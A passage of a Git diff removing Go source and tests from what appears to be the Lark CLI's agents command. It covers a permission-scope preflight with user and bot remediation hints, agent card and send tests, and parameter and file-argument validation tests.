out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card --operation should not error: %v", err)
}
var env struct {
Data map[string]any `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if env.Data["supported"] != false {
t.Fatalf("task_cancel should be unsupported on the scripted spec, got %v", env.Data)
}
if _, present := env.Data["command"]; present {
t.Errorf("unwired verb must not carry a command key (omitempty), got %v", env.Data["command"])
}
if env.Data["parameters_source"] != "template" {
t.Errorf("instance provider --operation should carry parameters_source:template, got %v", env.Data)
}
}
// TestCardOperationAll pins the one-shot full map: every verb present, wired
// ones carrying command+parameters.
func TestCardOperationAll(t *testing.T) {
opts, _ := cardTestOpts(t, "example:reporter")
opts.Operation = "all"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card --operation all should not error: %v", err)
}
var env struct {
Data struct {
Operations map[string]map[string]any `json:"operations"`
} `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if len(env.Data.Operations) != 8 {
t.Fatalf("all should enumerate 8 operations, got %d", len(env.Data.Operations))
}
send := env.Data.Operations["send"]
if send["supported"] != true {
t.Errorf("reporter send should be supported, got %v", send)
}
if ps, _ := send["parameters"].([]any); len(ps) != 3 {
t.Errorf("reporter send should carry its 3 demo params, got %v", send["parameters"])
}
}
// TestCardLeanHasParameters pins the lean card cue on the real reporter: send
// appears in has_parameters (it declares demo params), context_delete does not.
func TestCardLeanHasParameters(t *testing.T) {
opts, _ := cardTestOpts(t, "example:reporter")
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card should not error: %v", err)
}
var env struct {
Data struct {
HasParameters []string `json:"has_parameters"`
} `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if len(env.Data.HasParameters) != 1 || env.Data.HasParameters[0] != "send" {
t.Fatalf("reporter has_parameters should be [send], got %v", env.Data.HasParameters)
}
}
// TestSendValidatesDeclaredParams drives the full send path against the real
// reporter declaration: enum violation fails offline; a valid --param passes
// through to dry-run with defaults backfilled.
func TestSendValidatesDeclaredParams(t *testing.T) {
opts := sendTestOpts(t)
opts.Ref = "example:reporter"
opts.Text = "报表"
opts.Params = []string{"report_format=pdf"}
err := agentSendRun(opts)
if err == nil || !strings.Contains(err.Error(), "csv|xlsx") {
t.Fatalf("enum violation should fail offline listing the set, got %v", err)
}
opts2 := sendTestOpts(t)
opts2.Ref = "example:reporter"
opts2.Text = "报表"
opts2.Params = []string{"report_format=xlsx"}
opts2.DryRun = true
out := opts2.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts2); err != nil {
t.Fatalf("valid param should pass: %v", err)
}
var env struct {
Data struct {
WouldSend struct {
Params map[string]string `json:"params"`
} `json:"would_send"`
} `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if env.Data.WouldSend.Params["report_format"] != "xlsx" || env.Data.WouldSend.Params["quarters"] != "4" {
t.Fatalf("dry-run should show the resolved params (default quarters=4 backfilled), got %v", env.Data.WouldSend.Params)
}
}
// TestListRejectsParams pins the two list guards: --param without a scheme is
// rejected outright; --param on a catalog scheme validates against the empty
// set with the list-specific hint.
func TestListRejectsParams(t *testing.T) {
opts, _ := listFactory()
opts.Params = []string{"env=boe"}
err := agentListRun(opts)
if err == nil || !strings.Contains(err.Error(), "仅在 agents list <scheme>") {
t.Fatalf("no-scheme --param should be rejected, got %v", err)
}
opts2, _ := listFactory()
opts2.Scheme = "example"
opts2.Params = []string{"env=boe"}
err = agentListRun(opts2)
if err == nil {
t.Fatal("catalog scheme with --param should be rejected (zero-param op)")
}
if p, ok := errs.ProblemOf(err); !ok || !strings.Contains(p.Hint, "list_parameters") {
t.Fatalf("list param error hint should point at providers[].list_parameters, got %+v", p)
}
}

View File

@@ -1,216 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"fmt"
"sort"
"strings"
"time"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/appmeta"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// This file implements the scope preflight: after the provider is resolved and
// before the real API call, the session's available scopes are checked against
// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
// requires the provider's entire scope set. For USER identity the scope list is
// read locally from the credential cache (no network); for BOT identity it is
// the app's published TenantScopes, fetched best-effort (a fetch failure
// downgrades the check to a no-op, like event's console precheck). A missing
// scope surfaces as a missing_scope permission error (exit 3) with an
// identity-appropriate remediation hint instead of a round-trip API 99991679.
// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
// storedUserScopes is the token-scope read seam: it returns the granted scope
// list of the stored user token from the LOCAL credential cache (keychain via
// GetStoredToken — same read path as `auth check`), issuing no network
// request. nil/empty means "no usable local scope list" and the caller skips
// preflight. Tests swap it so no unit test touches the real keychain.
var storedUserScopes = func(f *cmdutil.Factory) []string {
if f == nil || f.Config == nil {
return nil
}
config, err := f.Config()
if err != nil || config == nil || config.UserOpenId == "" {
return nil
}
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
if stored == nil {
return nil
}
return strings.Fields(stored.Scope)
}
// preflightInput is the pure input of preflightScopes, so the check itself is
// unit-testable without a Factory, keychain, or provider client.
type preflightInput struct {
Identity core.Identity
TokenScopes []string
Provider iagents.Provider
}
// preflightScopes runs the local scope check. It returns nil when the check
// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
// scope list (the downstream not_configured / need-authorization logic owns
// that). The check is all-or-nothing: when any scope in the provider's
// RequiredScopes set is not granted it returns the missing_scope permission
// error (exit 3, mirroring the event-consume scope preflight) carrying every
// missing scope, with a re-auth hint listing ONLY the missing scopes.
//
// The hint lists just the missing scopes (not a merge with existing grants):
// the open platform authorizes INCREMENTALLY — re-login with only the missing
// scopes keeps every previously-granted scope — so re-requesting the existing
// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
func preflightScopes(in preflightInput) error {
// No usable scope list → skip (user not logged in, or bot has no published
// version / the fetch failed); the downstream not_configured / API error owns
// that path.
if len(in.TokenScopes) == 0 {
return nil
}
// Only user / bot carry a scope-list concept.
if in.Identity != core.AsUser && !in.Identity.IsBot() {
return nil
}
granted := make(map[string]bool, len(in.TokenScopes))
for _, s := range in.TokenScopes {
granted[s] = true
}
var missing []string
for _, scope := range in.Provider.RequiredScopes {
if !granted[scope] {
missing = append(missing, scope)
}
}
if len(missing) == 0 {
return nil
}
sort.Strings(missing)
return errs.NewPermissionError(errs.SubtypeMissingScope,
"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
WithIdentity(string(in.Identity)).
WithMissingScopes(missing...).
WithHint("%s", scopeRemediationHint(in.Identity, missing))
}
// scopeRemediationHint returns an identity-appropriate fix for the missing
// scopes, mirroring cmd/event's scopeRemediationHint split:
// - user: re-login requesting ONLY the missing scopes — the open platform
// authorizes incrementally, so previously-granted scopes are preserved (no
// merge needed).
// - bot: the tenant token's scopes come from the app's published version, so
// the fix is to add the scopes to the app in the developer console and
// re-publish — not a per-token re-auth. (event additionally offers a
// one-click scan-to-enable deep link; that generator lives in cmd/event and
// is not duplicated here.)
func scopeRemediationHint(id core.Identity, missing []string) string {
if id.IsBot() {
return fmt.Sprintf(
"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
strings.Join(missing, " "))
}
// Canonical repo-wide auth login --scope remediation phrasing (see
// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
// platform authorizes incrementally, so existing grants are preserved.
return fmt.Sprintf(
"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
strings.Join(missing, " "))
}
// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
// — the preflight is an accelerator, never a new failure mode; the paths that
// validate ref/scheme for real have already run inside resolveSpec.
func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
r, err := iagents.ParseRef(ref)
if err != nil {
return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
}
return preflightScopesForScheme(f, id, r.Scheme)
}
// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
// the ref-addressed verbs (via preflightScopesForRef) and the online
// `agents list <scheme>` enumeration, which has no agent_id. It resolves the
// provider registration for the scheme, reads the stored scopes through the
// identity-appropriate seam, and runs the same all-or-nothing check against the
// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
// unregistered scheme, empty RequiredScopes) yields nil.
func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
if f == nil {
return nil
}
prov, ok := iagents.Info(scheme)
if !ok || len(prov.RequiredScopes) == 0 {
return nil // no scopes to check (e.g. the example mock declares none)
}
var tokenScopes []string
switch {
case id == core.AsUser:
tokenScopes = storedUserScopes(f) // local keychain read, no network
case id.IsBot():
tokenScopes = botTenantScopes(f) // best-effort app-version fetch
default:
return nil
}
return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
}
// botTenantScopes is the bot-scope read seam: it fetches the app's
// currently-published version and returns its TenantScopes (the scopes a tenant
// token actually carries). Any failure — no client, no published version,
// network / appmeta error — yields nil so the caller skips the check (weak
// dependency, mirroring event's console precheck downgrade). Tests swap it so no
// unit test touches the network.
var botTenantScopes = func(f *cmdutil.Factory) []string {
if f == nil || f.Config == nil {
return nil
}
config, err := f.Config()
if err != nil || config == nil || config.AppID == "" {
return nil
}
apiClient, err := f.NewAPIClient()
if err != nil {
return nil
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
if err != nil || appVer == nil {
return nil
}
return appVer.TenantScopes
}
// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
// the raw JSON body for appmeta to project; any non-typed transport error is
// classified so callers only see typed errs.* values (though botTenantScopes
// treats every error as a no-op anyway).
type appmetaBotClient struct{ client *client.APIClient }
func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
}
return json.RawMessage(resp.RawBody), nil
}

View File

@@ -1,434 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"errors"
"reflect"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
// see scripted_provider_test.go) — the all-or-nothing preflight requires every
// one of fakescopedAllScopes for any real API verb.
func scopedInfo(t *testing.T) iagents.Provider {
t.Helper()
registerScripted()
prov, ok := iagents.Info("fakescoped")
if !ok {
t.Fatal("fakescoped provider should be registered")
}
return prov
}
// requirePreflightError asserts err is the missing_scope permission error
// (exit 3, mirroring the event-consume scope preflight) and returns the typed
// value for field assertions.
func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
t.Helper()
if err == nil {
t.Fatal("want missing_scope error, got nil")
}
var pe *errs.PermissionError
if !errors.As(err, &pe) {
t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
}
if pe.Subtype != errs.SubtypeMissingScope {
t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
}
if code := output.ExitCodeOf(err); code != 3 {
t.Fatalf("exit code should be 3, got %d", code)
}
return pe
}
// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
// user token holding only some of the provider's scopes fails with EVERY missing
// scope named (sorted) in both the message and missing_scopes, and a re-auth
// hint listing ONLY the missing scopes (the open platform authorizes
// incrementally, so re-login with just the missing keeps existing grants — no
// merge needed, mirroring cmd/event).
func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
Provider: scopedInfo(t),
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
t.Errorf("message should list all missing scopes, got %q", ve.Message)
}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
}
// Incremental hint: ONLY the missing scopes (not merged with existing grants).
wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
if !strings.Contains(ve.Hint, wantScopeArg) {
t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
}
// And must NOT re-list an already-granted scope.
if strings.Contains(ve.Hint, "im:message") {
t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
}
}
// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
// list (fetch failed / app unpublished → nil), the bot check downgrades to a
// no-op, so the bus/API handshake owns the error.
func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsBot,
TokenScopes: nil,
Provider: scopedInfo(t),
})
if err != nil {
t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
}
}
// TestPreflightBotMissingScopes pins the bot branch: given the app's published
// TenantScopes, a missing scope is reported with the BOT remediation hint (add
// in the developer console + re-publish), NOT a user re-login.
func TestPreflightBotMissingScopes(t *testing.T) {
// Tenant token carries 2 of the 4 fakescoped scopes.
err := preflightScopes(preflightInput{
Identity: core.AsBot,
TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
Provider: scopedInfo(t),
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
}
if ve.Identity != string(core.AsBot) {
t.Errorf("error identity should be bot, got %q", ve.Identity)
}
// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
if strings.Contains(ve.Hint, "auth login") {
t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
}
if !strings.Contains(ve.Hint, "developer console") {
t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
}
}
// TestPreflightBotAllScopesPresent pins the bot happy path.
func TestPreflightBotAllScopesPresent(t *testing.T) {
if err := preflightScopes(preflightInput{
Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
}); err != nil {
t.Errorf("bot with all tenant scopes should pass, got %v", err)
}
}
// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
// without a scope list) yields nil so the downstream not_configured /
// need-authorization path owns the error.
func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: nil,
Provider: scopedInfo(t),
})
if err != nil {
t.Fatalf("no token scope list should return nil, got %v", err)
}
}
// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
// fakescoped scopes passes the all-or-nothing check.
func TestPreflightAllScopesPresent(t *testing.T) {
if err := preflightScopes(preflightInput{
Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
}); err != nil {
t.Errorf("should pass when all scopes present, got %v", err)
}
}
// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
// is missing even a single scope fails, and the reported missing set is exactly
// the scopes it lacks (not just this-verb scopes — the per-verb concept is
// gone).
func TestPreflightMissingAnyScopeFails(t *testing.T) {
// Missing exactly one scope (attachment) → that one scope is reported.
ve := requirePreflightError(t, preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: []string{
"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
},
Provider: scopedInfo(t),
}))
if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
}
// Only the write scope → the other three are all reported.
ve = requirePreflightError(t, preflightScopes(preflightInput{
Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
}))
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
}
}
// ---------------------------------------------------------------------------
// Command wiring: each verb runs preflight after resolveProvider and before
// any real API call. The stored-scope read goes through the storedUserScopes
// seam so no test touches the real keychain; zero httpmock stubs are
// registered, so any HTTP request would fail the test with a transport error
// instead of the asserted missing_scope.
// ---------------------------------------------------------------------------
// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
func swapStoredScopes(t *testing.T, scopes []string) {
t.Helper()
old := storedUserScopes
storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
t.Cleanup(func() { storedUserScopes = old })
}
// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
// explicitly set to user so ResolveAs honors it verbatim.
func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
t.Helper()
parent := &cobra.Command{Use: "lark-cli"}
for _, name := range names {
child := &cobra.Command{Use: name}
parent.AddCommand(child)
parent = child
}
parent.Flags().String("as", "", "identity")
if err := parent.Flags().Set("as", "user"); err != nil {
t.Fatal(err)
}
parent.SetContext(context.Background())
return parent
}
// userFactory builds a test Factory + registry for a user-identity run.
func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
t.Helper()
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
return f, reg
}
// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
// holds none of the provider's scopes fails with missing_scope
// (reporting the full set) and no request.
func TestSendPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
ve := requirePreflightError(t, err)
if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
}
}
// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
// still fails the all-or-nothing check, reporting the three scopes it lacks.
func TestSendPreflightPartialTokenBlocked(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
}
}
// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
// scope-free — it succeeds even when the token has none of the provider scopes.
func TestSendDryRunSkipsPreflight(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
})
if err != nil {
t.Fatalf("--dry-run should not run scope preflight: %v", err)
}
}
// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
})
ve := requirePreflightError(t, err)
if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
}
}
// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
// (resolveDownload path): it too runs the all-or-nothing preflight before the
// API call.
func TestTaskGetArtifactPreflightFires(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
ArtifactID: "art_1", Output: "out.bin",
})
ve := requirePreflightError(t, err)
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
}
}
// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentTaskListRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "list"),
Ref: "fakescoped:agt_x", As: "user",
})
requirePreflightError(t, err)
}
// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
// wiring: all three run the all-or-nothing preflight.
func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
runs := []struct {
name string
run func(f *cmdutil.Factory) error
}{
{"list", func(f *cmdutil.Factory) error {
return agentContextListRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "list"),
Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
})
}},
{"get", func(f *cmdutil.Factory) error {
return agentContextGetRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "get"),
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
})
}},
{"delete", func(f *cmdutil.Factory) error {
return agentContextDeleteRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "delete"),
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
})
}},
}
for _, tc := range runs {
t.Run(tc.name, func(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
requirePreflightError(t, tc.run(f))
})
}
}
// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
// provider scope set lets the real send proceed (the scripted Send hook fires,
// proving preflight did not false-positive).
func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
swapStoredScopes(t, fakescopedAllScopes)
f, _ := userFactory(t)
sent := false
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
sent = true
return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}, nil
}})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
if err != nil {
t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
}
if !sent {
t.Fatal("provider.Send should actually be called after preflight passes")
}
}
// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
// gate (fakemin card declares task_cancel=false) answers before
// provider/preflight, so a scope-missing user token yields
// unsupported_capability, not missing_scope — proving the wired
// preflight does not change the gate-first ordering.
func TestTaskCancelPreflightWired(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentTaskCancelRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "cancel"),
Ref: "fakemin:agt_x", TaskID: "t1", As: "user",
})
if err == nil {
t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
}
}
// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
// app-version fetch / network.
func swapBotTenantScopes(t *testing.T, scopes []string) {
t.Helper()
old := botTenantScopes
botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
t.Cleanup(func() { botTenantScopes = old })
}
// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
// storedUserScopes) for a bot identity and blocks a missing scope.
func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
})
ve := requirePreflightError(t, err)
if ve.Identity != string(core.AsBot) {
t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
}
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
}
}
// contains reports whether s appears in the slice.
func contains(ss []string, s string) bool {
for _, x := range ss {
if x == s {
return true
}
}
return false
}

View File

@@ -1,11 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
// Provider packages are pure data (no init side effect); the top-level agent
// package's init aggregates and registers them. In production that package is
// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
// the real example scheme (example:echo / example:reporter), so blank-import the
// top-level agent package to run its registration for the test binary.
import _ "github.com/larksuite/cli/agents"

View File

@@ -1,203 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Tests pinning the excellence-review fixes: the --file local gate, scalar
// canonicalization across channels, nearest-first unknown-param suggestions,
// and the terminal self-loop removal in meta.next.
package agents
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
// TestValidateSendFiles pins the --file local gate: relative-within-CWD +
// existing regular file, all violations collected in one pass.
func TestValidateSendFiles(t *testing.T) {
mkSendFile(t, "ok.txt")
if err := validateSendFiles([]string{"ok.txt"}); err != nil {
t.Fatalf("a relative existing file should pass, got %v", err)
}
if err := validateSendFiles(nil); err != nil {
t.Fatalf("no files should pass, got %v", err)
}
abs := filepath.Join(t.TempDir(), "abs.txt")
if err := os.WriteFile(abs, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.Mkdir("adir", 0o755); err != nil {
t.Fatal(err)
}
err := validateSendFiles([]string{abs, "missing.txt", "adir", "ok.txt"})
if err == nil {
t.Fatal("abs path + missing file + directory should all be rejected")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
msg := err.Error()
for _, want := range []string{abs, "missing.txt", "adir"} {
if !strings.Contains(msg, want) {
t.Errorf("collect-all message should mention %q, got %q", want, msg)
}
}
if strings.Contains(msg, "ok.txt") {
t.Errorf("the valid file must not appear as a violation: %q", msg)
}
}
// canonSpec declares one param per scalar type for canonicalization tests.
func canonSpec() *iagents.AgentSpec {
return &iagents.AgentSpec{
Send: iagents.SendOp{
Params: []iagents.CardParam{
{Name: "flag", Type: "boolean"},
{Name: "n", Type: "integer"},
{Name: "render", Type: "object", Fields: []iagents.CardParam{
{Name: "watermark", Type: "boolean"},
}},
},
Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
},
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
}
}
// TestParamCanonicalization pins that accepted variant literals normalize to
// one canonical wire form regardless of channel: the provider (and dry-run,
// and the meta.next carry) never see TRUE/1/+5/04.
func TestParamCanonicalization(t *testing.T) {
spec := canonSpec()
cases := []struct{ kv, key, want string }{
{"flag=TRUE", "flag", "true"},
{"flag=1", "flag", "true"},
{"flag=0", "flag", "false"},
{"n=+5", "n", "5"},
{"n=04", "n", "4"},
{"render.watermark=T", "render.watermark", "true"},
{`render={"watermark":"TRUE"}`, "render.watermark", "true"},
{`render={"watermark":true}`, "render.watermark", "true"},
}
for _, tc := range cases {
vp, err := validateParams([]string{tc.kv}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
if err != nil {
t.Errorf("%s should validate, got %v", tc.kv, err)
continue
}
